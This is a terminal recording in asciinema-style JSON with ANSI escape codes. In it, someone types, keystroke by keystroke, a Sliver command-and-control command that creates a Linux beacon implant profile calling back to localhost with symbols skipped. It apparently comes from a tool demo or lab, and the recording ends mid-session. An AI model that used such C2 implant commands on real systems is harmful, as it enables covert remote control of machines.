[15.915729, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mn\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[15.916362, "o", "\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
|
||||
[15.983068, "o", "\u001b[?25l"]
|
||||
[15.98517, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.006147, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mne\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
|
||||
[16.042383, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[16.044936, "o", "\u001b[6n"]
|
||||
[16.047739, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[16.048386, "o", "\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
|
||||
[16.133768, "o", "\u001b[?25l\u001b[214D"]
|
||||
[16.137168, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.156809, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
|
||||
[16.532633, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.549217, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew b\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[16.55055, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
|
||||
[16.799275, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[16.803967, "o", "\u001b[6n"]
|
||||
[16.838159, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew be\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[16.83983, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
|
||||
[16.894586, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.899993, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew bea\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[25D\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
|
||||
[17.072821, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.085546, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[17.08708, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
|
||||
[17.206672, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.219238, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beaco\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[27D\u001b[9C\u001b[214D\u001b[27C"]
|
||||
[17.220783, "o", "\u001b[?25h"]
|
||||
[17.251231, "o", "\u001b[?25l"]
|
||||
[17.251404, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[17.252544, "o", "\u001b[6n"]
|
||||
[17.256117, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[17.256305, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[28D\u001b[9C\u001b[214D\u001b[28C\u001b[?25h"]
|
||||
[17.430255, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.453164, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[29D"]
|
||||
[17.454557, "o", "\u001b[9C\u001b[214D\u001b[29C\u001b[?25h"]
|
||||
[17.820587, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.839363, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[17.842543, "o", "\u001b[214D\u001b[1A\u001b[30D\u001b[9C\u001b[214D\u001b[30C\u001b[?25h"]
|
||||
[18.114188, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[18.125107, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.126115, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[31D\u001b[9C\u001b[214D\u001b[31C\u001b[?25h"]
|
||||
[18.199168, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[18.202271, "o", "\u001b[6n"]
|
||||
[18.222313, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.224541, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[32D\u001b[9C\u001b[214D\u001b[32C\u001b[?25h"]
|
||||
[18.364335, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[18.371159, "o", "\u001b[6n"]
|
||||
[18.39355, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.397048, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[33D\u001b[9C\u001b[214D\u001b[33C\u001b[?25h"]
|
||||
[18.550245, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[18.552318, "o", "\u001b[6n"]
|
||||
[18.577845, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[34D\u001b[9C\u001b[214D\u001b[34C\u001b[?25h"]
|
||||
[18.682037, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[18.690165, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[18.690826, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[35D\u001b[9C\u001b[214D\u001b[35C\u001b[?25h"]
|
||||
[18.74857, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[18.751605, "o", "\u001b[6n"]
|
||||
[18.755354, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[18.75673, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[36D\u001b[9C\u001b[214D\u001b[36C\u001b[?25h"]
|
||||
[18.840517, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[18.844334, "o", "\u001b[6n"]
|
||||
[18.852031, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocal\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
|
||||
[18.852999, "o", "\u001b[37D\u001b[9C\u001b[214D\u001b[37C\u001b[?25h"]
|
||||
[19.081403, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.096541, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalh\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.097207, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[38D\u001b[9C\u001b[214D\u001b[38C\u001b[?25h"]
|
||||
[19.141943, "o", "\u001b[?25l\u001b[214D"]
|
||||
[19.144542, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.151576, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalho\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.152308, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[39D\u001b[9C\u001b[214D\u001b[39C\u001b[?25h"]
|
||||
[19.21028, "o", "\u001b[?25l"]
|
||||
[19.21066, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[19.212807, "o", "\u001b[6n"]
|
||||
[19.217594, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhos\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[19.218241, "o", "\u001b[1A\u001b[40D\u001b[9C\u001b[214D\u001b[40C\u001b[?25h"]
|
||||
[19.305258, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[19.307084, "o", "\u001b[6n"]
|
||||
[19.315792, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.317316, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[41D\u001b[9C\u001b[214D\u001b[41C\u001b[?25h"]
|
||||
[19.391585, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.403349, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.404598, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[42D\u001b[9C\u001b[214D\u001b[42C\u001b[?25h"]
|
||||
[19.612738, "o", "\u001b[?25l\u001b[214D"]
|
||||
[19.616541, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.642732, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.64458, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[43D\u001b[9C\u001b[214D\u001b[43C\u001b[?25h"]
|
||||
[19.727533, "o", "\u001b[?25l"]
|
||||
[19.728195, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.732597, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[44D\u001b[9C\u001b[214D\u001b[44C\u001b[?25h"]
|
||||
[19.952229, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[19.960693, "o", "\u001b[6n"]
|
||||
[19.97101, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[45D\u001b[9C\u001b[214D\u001b[45C\u001b[?25h"]
|
||||
[20.038298, "o", "\u001b[?25l\u001b[214D"]
|
||||
[20.042619, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[20.06721, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.07031, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[46D\u001b[9C\u001b[214D\u001b[46C\u001b[?25h"]
|
||||
[20.127136, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[20.131351, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.131943, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[47D\u001b[9C\u001b[214D\u001b[47C\u001b[?25h"]
|
||||
[20.242249, "o", "\u001b[?25l\u001b[214D"]
|
||||
[20.243637, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.243916, "o", "\u001b[6n"]
|
||||
[20.26165, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.262736, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[48D\u001b[9C\u001b[214D\u001b[48C\u001b[?25h"]
|
||||
[20.313606, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.317055, "o", "\u001b[6n"]
|
||||
[20.320717, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mli\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[49D\u001b[9C"]
|
||||
[20.32112, "o", "\u001b[214D\u001b[49C\u001b[?25h"]
|
||||
[20.408108, "o", "\u001b[?25l"]
|
||||
[20.41512, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[20.433072, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlin\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.434122, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[50D\u001b[9C\u001b[214D\u001b[50C\u001b[?25h"]
|
||||
[20.542523, "o", "\u001b[?25l"]
|
||||
[20.551107, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[20.564786, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[20.565551, "o", "\u001b[214D\u001b[1A\u001b[51D\u001b[9C\u001b[214D\u001b[51C\u001b[?25h"]
|
||||
[20.701255, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[20.715508, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.717429, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[52D\u001b[9C\u001b[214D\u001b[52C\u001b[?25h"]
|
||||
[20.770094, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.776074, "o", "\u001b[6n"]
|
||||
[20.781738, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.782205, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[53D\u001b[9C\u001b[214D\u001b[53C\u001b[?25h"]
|
||||
[21.202495, "o", "\u001b[?25l"]
|
||||
[21.210484, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[21.248211, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[54D\u001b[9C\u001b[214D\u001b[54C\u001b[?25h"]
|
||||
[21.34017, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[21.349775, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[21.351375, "o", "\u001b[214D\u001b[1A\u001b[55D\u001b[9C\u001b[214D\u001b[55C\u001b[?25h"]
|
||||
[21.586474, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.602434, "o", "\u001b[6n"]
|
||||
[21.60975, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[56D"]
|
||||
[21.6112, "o", "\u001b[9C\u001b[214D\u001b[56C\u001b[?25h"]
|
||||
[21.674727, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.678428, "o", "\u001b[6n"]
|
||||
[21.683171, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--sk\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.684096, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[57D\u001b[9C\u001b[214D\u001b[57C\u001b[?25h"]
|
||||
[21.757695, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.760769, "o", "\u001b[6n"]
|
||||
[21.765683, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--ski\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[21.766586, "o", "\u001b[214D\u001b[1A\u001b[58D\u001b[9C\u001b[214D\u001b[58C\u001b[?25h"]
|
||||
[21.930732, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.938185, "o", "\u001b[6n"]
|
||||
[21.964049, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.966035, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[59D\u001b[9C\u001b[214D\u001b[59C\u001b[?25h"]
|
||||
[22.278315, "o", "\u001b[?25l"]
|
||||
[22.280322, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[22.290182, "o", "\u001b[6n"]
|
||||
[22.318137, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[22.319121, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[60D\u001b[9C\u001b[214D\u001b[60C\u001b[?25h"]
|
||||
[22.461397, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[22.473765, "o", "\u001b[6n"]
|
||||
[22.497463, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[22.497924, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[61D\u001b[9C\u001b[214D\u001b[61C\u001b[?25h"]
|
||||
[22.663035, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[22.663779, "o", "\u001b[6n"]
|
||||
[22.678647, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-sy\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[22.679292, "o", "\u001b[214D\u001b[1A\u001b[62D\u001b[9C\u001b[214D\u001b[62C\u001b[?25h"]
|
||||
[22.914689, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[22.918631, "o", "\u001b[6n"]
|
||||
[22.95403, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-sym\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[22.956042, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[63D\u001b[9C\u001b[214D\u001b[63C\u001b[?25h"]
|
||||
[23.259777, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[23.271795, "o", "\u001b[6n"]
|
||||
[23.280231, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[23.282586, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[64D\u001b[9C\u001b[214D\u001b[64C\u001b[?25h"]
|
||||
[23.339497, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[23.342791, "o", "\u001b[6n"]
|
||||
[23.34779, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[23.34816, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[65D\u001b[9C\u001b[214D\u001b[65C\u001b[?25h"]
|
||||
[23.558234, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[23.573464, "o", "\u001b[6n"]
|
||||
[23.590504, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbol\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[23.591214, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[66D\u001b[9C\u001b[214D\u001b[66C\u001b[?25h"]
|
||||
[23.692589, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[23.703079, "o", "\u001b[6n"]
|
||||
[23.712181, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[67D\u001b[9C\u001b[214D\u001b[67C\u001b[?25h"]
|
||||
[23.843185, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[23.84961, "o", "\u001b[6n"]
|
||||
[23.872613, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[23.874165, "o", "\u001b[214D\u001b[1A\u001b[68D\u001b[9C\u001b[214D\u001b[68C\u001b[?25h"]
|
||||
